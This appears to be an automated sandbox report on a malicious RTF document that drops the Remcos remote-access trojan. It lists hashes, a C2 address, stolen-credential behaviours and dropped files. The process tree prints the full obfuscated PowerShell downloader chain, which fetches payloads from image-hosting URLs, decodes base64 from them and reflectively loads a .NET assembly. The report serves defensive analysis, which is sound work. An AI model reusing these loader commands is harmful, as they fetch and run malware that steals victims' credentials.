Analysis

  • max time kernel
    150s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25-03-2024 13:38

General

  • Target

    SecuriteInfo.com.Exploit.ShellCode.69.11663.9638.rtf

  • Size

    77KB

  • MD5

    cde3695e8c23e9e09db22243c899a215

  • SHA1

    82598dfe560b70c5f2c6441bc4c13a58309ce0e8

  • SHA256

    3c5444b736af60ee4f23f9f411c0c6c7a266647e0b127500f1e320e4946fb2c9

  • SHA512

    30ade51f2792be8be9a5bc3c37b76333fea66f7f480f5b0e0dd63a2578bc4c80f77aa2c9d536d665d2cf2311910794c0e8dc5af6bc16688d43676ef6507abb5e

  • SSDEEP

    1536:YxfsTw3nHeO1NwvfG08IhcX7Obmpy8wt0O/pARY9BxeRO5Ddc9h:Yxuw9bGfv3a+mpyht0+p2SeRO55c9h

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

gregolia.duckdns.org:2445

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-LAJDD7

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • NirSoft MailPassView 3 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 9 IoCs
  • Blocklisted process makes network request 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.ShellCode.69.11663.9638.rtf"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2148
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2708
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:2308
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\loverkissedeachothers.vbs"
        2⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:2688
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDYDgTreMDgTreDgTrevDgTreDDgTreDgTreNDgTreDgTrezDgTreC8DgTreZgB1DgTreGwDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrexDgTreDIDgTreODgTreDgTre3DgTreDgDgTreODgTreDgTre3DgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTre2DgTreDDgTreDgTreLwDgTrewDgTreDQDgTreNDgTreDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrexDgTreDIDgTreODgTreDgTre3DgTreDgDgTreODgTreDgTre4DgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreEQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreEYDgTrecgBvDgTreG0DgTreTDgTreBpDgTreG4DgTreawBzDgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTreLQBuDgTreGUDgTreIDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBUDgTreGUDgTreeDgTreB0DgTreC4DgTreRQBuDgTreGMDgTrebwBkDgTreGkDgTrebgBnDgTreF0DgTreOgDgTre6DgTreFUDgTreVDgTreBGDgTreDgDgTreLgBHDgTreGUDgTredDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreUwBUDgTreEEDgTreUgBUDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreBpDgTreGYDgTreIDgTreDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwBlDgTreCDgTreDgTreMDgTreDgTregDgTreC0DgTreYQBuDgTreGQDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreC0DgTreZwB0DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreKwDgTre9DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTreuDgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCDgTreDgTrePQDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBTDgTreHUDgTreYgBzDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTresDgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBDDgTreG8DgTrebgB2DgTreGUDgTrecgB0DgTreF0DgTreOgDgTre6DgTreEYDgTrecgBvDgTreG0DgTreQgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFIDgTreZQBmDgTreGwDgTreZQBjDgTreHQDgTreaQBvDgTreG4DgTreLgBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreXQDgTre6DgTreDoDgTreTDgTreBvDgTreGEDgTreZDgTreDgTreoDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreCDgTreDgTrePQDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreC4DgTreRwBlDgTreHQDgTreVDgTreB5DgTreHDgTreDgTreZQDgTreoDgTreCcDgTreUDgTreBSDgTreE8DgTreSgBFDgTreFQDgTreTwBBDgTreFUDgTreVDgTreBPDgTreE0DgTreQQBDDgTreEEDgTreTwDgTreuDgTreFYDgTreQgDgTreuDgTreEgDgTrebwBtDgTreGUDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreG0DgTreZQB0DgTreGgDgTrebwBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTredDgTreB5DgTreHDgTreDgTreZQDgTreuDgTreEcDgTreZQB0DgTreE0DgTreZQB0DgTreGgDgTrebwBkDgTreCgDgTreJwBWDgTreEEDgTreSQDgTrenDgTreCkDgTreLgBJDgTreG4DgTredgBvDgTreGsDgTreZQDgTreoDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTresDgTreCDgTreDgTreWwBvDgTreGIDgTreagBlDgTreGMDgTredDgTreBbDgTreF0DgTreXQDgTregDgTreCgDgTreJwB0DgTreHgDgTredDgTreDgTreuDgTreEUDgTreRDgTreBEDgTreFMDgTreLwDgTrewDgTreDDgTreDgTreOQDgTrewDgTreDkDgTreLwDgTre4DgTreDkDgTreLgDgTre4DgTreDgDgTreMQDgTreuDgTreDgDgTreMwDgTreuDgTreDQDgTreNQDgTrexDgTreC8DgTreLwDgTre6DgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBTDgTreFMDgTreVwDgTrenDgTreCwDgTreJwBSDgTreGUDgTreZwBBDgTreHMDgTrebQDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
          3⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2524
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/760/043/full/new_image.jpg?1711287887', 'https://uploaddeimagens.com.br/images/004/760/044/original/new_image.jpg?1711287888'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.EDDS/00909/89.881.83.451//:ptth' , '1' , 'C:\ProgramData\' , 'SSW','RegAsm',''))} }"
            4⤵
            • Blocklisted process makes network request
            • Adds Run key to start application
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2776
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\SSW.vbs
              5⤵
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:332
            • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
              5⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:3044
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\vrawxlldqrniyeyqzxijvkmtkdwnhmsyt"
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:2548
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\flgpy"
                6⤵
                • Accesses Microsoft Outlook accounts
                PID:2060
              • C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\hntiznhy"
                6⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2956

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      67KB

      MD5

      753df6889fd7410a2e9fe333da83a429

      SHA1

      3c425f16e8267186061dd48ac1c77c122962456e

      SHA256

      b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

      SHA512

      9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      Filesize

      344B

      MD5

      d017c69c65475d82f9630bc5492d23ff

      SHA1

      4ea478f7c4e4a4720f3b50dc7948d3cd68dc4537

      SHA256

      41e7f3a2e13655734d5dc7776d6f65e55159b1d48a01d9cc7ab3789ed36cb19d

      SHA512

      af0f820c6a3225b0cf779533d90e1a0b9b78cc926899850bcabb10c29edc5e98d51ee3232b8fba5c79e11f1795c712514094526e2e5ca98b9b03ad9549e4375d

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      Filesize

      344B

      MD5

      b4bf09ce74d781fd1174d2924b7586ef

      SHA1

      c6677c71397ddedfa539a76901fd2eb251dd6258

      SHA256

      483710b885d55c16fafbd60793be9f21de7f34516671c4d2eb9e4a662ca9e5da

      SHA512

      3cc486716b2322f543c7396780396c48e97e579d78836ea3cffcbd7dbb0f7601625a4e8d4f852e35fb5bfad73f931769c50aedd1a149967c071a6c8c1ff2e12d

    • C:\Users\Admin\AppData\Local\Temp\Cab844D.tmp

      Filesize

      65KB

      MD5

      ac05d27423a85adc1622c714f2cb6184

      SHA1

      b0fe2b1abddb97837ea0195be70ab2ff14d43198

      SHA256

      c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

      SHA512

      6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

    • C:\Users\Admin\AppData\Local\Temp\Tar846F.tmp

      Filesize

      171KB

      MD5

      9c0c641c06238516f27941aa1166d427

      SHA1

      64cd549fb8cf014fcd9312aa7a5b023847b6c977

      SHA256

      4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

      SHA512

      936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

    • C:\Users\Admin\AppData\Local\Temp\Tar85CC.tmp

      Filesize

      64KB

      MD5

      820a06ef8c892b0a1b1fd98d6e4eace7

      SHA1

      416685d619c254adb4609aa7cd63437d27917102

      SHA256

      bfe2cde9f596db37dd37deab1c8f26a244dcd156de6d268a7e3292496ccacfba

      SHA512

      04fa93cafe4b6ea3fa9afa9c79a30206cb994433b7efceb3aaba611f104a67e856cf6d981083b90584718f5cdea7bed07d3c0541b8d5d3c3f141ac6480a38d1a

    • C:\Users\Admin\AppData\Local\Temp\vrawxlldqrniyeyqzxijvkmtkdwnhmsyt

      Filesize

      2B

      MD5

      f3b25701fe362ec84616a93a45ce9998

      SHA1

      d62636d8caec13f04e28442a0a6fa1afeb024bbb

      SHA256

      b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

      SHA512

      98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      dd1a999dd0f70e971d2c9fd6da79ea62

      SHA1

      ec25a697f78e668a08a8aba3dc9af9b383140d17

      SHA256

      16b8eff190f0ad856f5dce129f8fd38a692fcf0e25364d07869db3654e859d43

      SHA512

      40a6ae51dc78ea5e725ee82793eaf3c5682593ab158e364d159c915eafde61615f4f43326913230d29d311e190abe4aa2988b877fde2fe14f86098914d02f5f5

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      0adb3bed20ae56781b7eacc5691d58ba

      SHA1

      b831859e1fd446d4bb61e62038febe687820b486

      SHA256

      6c845659d4f0f1c53b9ad1c126e422928798a63a53802f4459aa852d971ff89e

      SHA512

      0a0785fb53945641616d723ec8c4120e9056e86ef081e02bcd956077e1fe61e41799e73b1b8504cab492741debadeb6d57598ba2741f84312d6a7ddbfcabe867

    • C:\Users\Admin\AppData\Roaming\loverkissedeachothers.vbs

      Filesize

      292KB

      MD5

      7cfb0e8a02678ccbd305bea1d747a88e

      SHA1

      e668cd320ee4abf2fd589140ada76b73187f6ab9

      SHA256

      c4e00149e62cc05e31e3aeeb5e26edd925a68a1c43dfeaca8441bdf54e8e9494

      SHA512

      73d704b83111b8efb46ec97ea772fbe80dcb3e1942b6cdf0e38571cec8c9ab31d1fb98144be92d3002985a70ca91ae51d4eee50655a2345e68484b8d32bd88db

    • memory/332-139-0x0000000002730000-0x0000000002770000-memory.dmp

      Filesize

      256KB

    • memory/332-138-0x0000000002730000-0x0000000002770000-memory.dmp

      Filesize

      256KB

    • memory/332-132-0x0000000002730000-0x0000000002770000-memory.dmp

      Filesize

      256KB

    • memory/332-140-0x000000006A490000-0x000000006AA3B000-memory.dmp

      Filesize

      5.7MB

    • memory/332-133-0x000000006A490000-0x000000006AA3B000-memory.dmp

      Filesize

      5.7MB

    • memory/332-131-0x000000006A490000-0x000000006AA3B000-memory.dmp

      Filesize

      5.7MB

    • memory/332-135-0x000000006A490000-0x000000006AA3B000-memory.dmp

      Filesize

      5.7MB

    • memory/2060-196-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/2060-187-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/2060-198-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/2060-193-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/2060-219-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/2060-182-0x0000000000400000-0x0000000000462000-memory.dmp

      Filesize

      392KB

    • memory/2148-2-0x0000000070DED000-0x0000000070DF8000-memory.dmp

      Filesize

      44KB

    • memory/2148-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2148-0-0x000000002F821000-0x000000002F822000-memory.dmp

      Filesize

      4KB

    • memory/2148-49-0x0000000070DED000-0x0000000070DF8000-memory.dmp

      Filesize

      44KB

    • memory/2524-118-0x000000006A490000-0x000000006AA3B000-memory.dmp

      Filesize

      5.7MB

    • memory/2524-37-0x0000000002780000-0x00000000027C0000-memory.dmp

      Filesize

      256KB

    • memory/2524-39-0x0000000002780000-0x00000000027C0000-memory.dmp

      Filesize

      256KB

    • memory/2524-167-0x000000006A490000-0x000000006AA3B000-memory.dmp

      Filesize

      5.7MB

    • memory/2524-38-0x0000000002780000-0x00000000027C0000-memory.dmp

      Filesize

      256KB

    • memory/2524-36-0x000000006A490000-0x000000006AA3B000-memory.dmp

      Filesize

      5.7MB

    • memory/2524-120-0x0000000002780000-0x00000000027C0000-memory.dmp

      Filesize

      256KB

    • memory/2524-119-0x0000000002780000-0x00000000027C0000-memory.dmp
